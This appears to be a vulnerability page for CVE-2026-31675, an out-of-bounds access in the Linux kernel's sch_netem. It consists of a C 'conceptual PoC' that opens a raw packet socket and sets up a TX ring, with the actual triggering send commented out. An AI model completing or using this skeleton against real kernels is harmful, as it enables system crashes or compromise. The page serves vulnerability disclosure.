CVE-2026-31675 Linux内核越界访问漏洞

/* * Conceptual PoC for CVE-2026-31675 * Triggering the OOB access in sch_netem requires sending a fully * non-linear packet (skb_headlen == 0) over an IPIP tunnel. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <arpa/inet.h> #define FRAME_SIZE 1024 #define BLOCK_SIZE (FRAME_SIZE * 16) #define NUM_BLOCKS 64 void setup_tx_ring(int sockfd) { struct tpacket_req req; memset(&req, 0, sizeof(req)); req.tp_block_size = BLOCK_SIZE; req.tp_frame_size = FRAME_SIZE; req.tp_block_nr = NUM_BLOCKS; req.tp_frame_nr = (BLOCK_SIZE * NUM_BLOCKS) / FRAME_SIZE; if (setsockopt(sockfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) { perror("setsockopt(TX_RING)"); exit(1); } } int main() { int sockfd; struct sockaddr_ll sa; // Create raw socket to construct non-linear packets sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket"); return 1; } setup_tx_ring(sockfd); memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex("eth0"); // Replace with actual interface sa.sll_protocol = htons(ETH_P_IP); printf("Sending crafted packet to trigger CVE-2026-31675...\n"); // In a real exploit, this would send a packet via IPIP tunnel // where the skb is fully non-linear (headlen=0). // sendto(sockfd, buffer, size, 0, (struct sockaddr*)&sa, sizeof(sa)); close(sockfd); return 0; }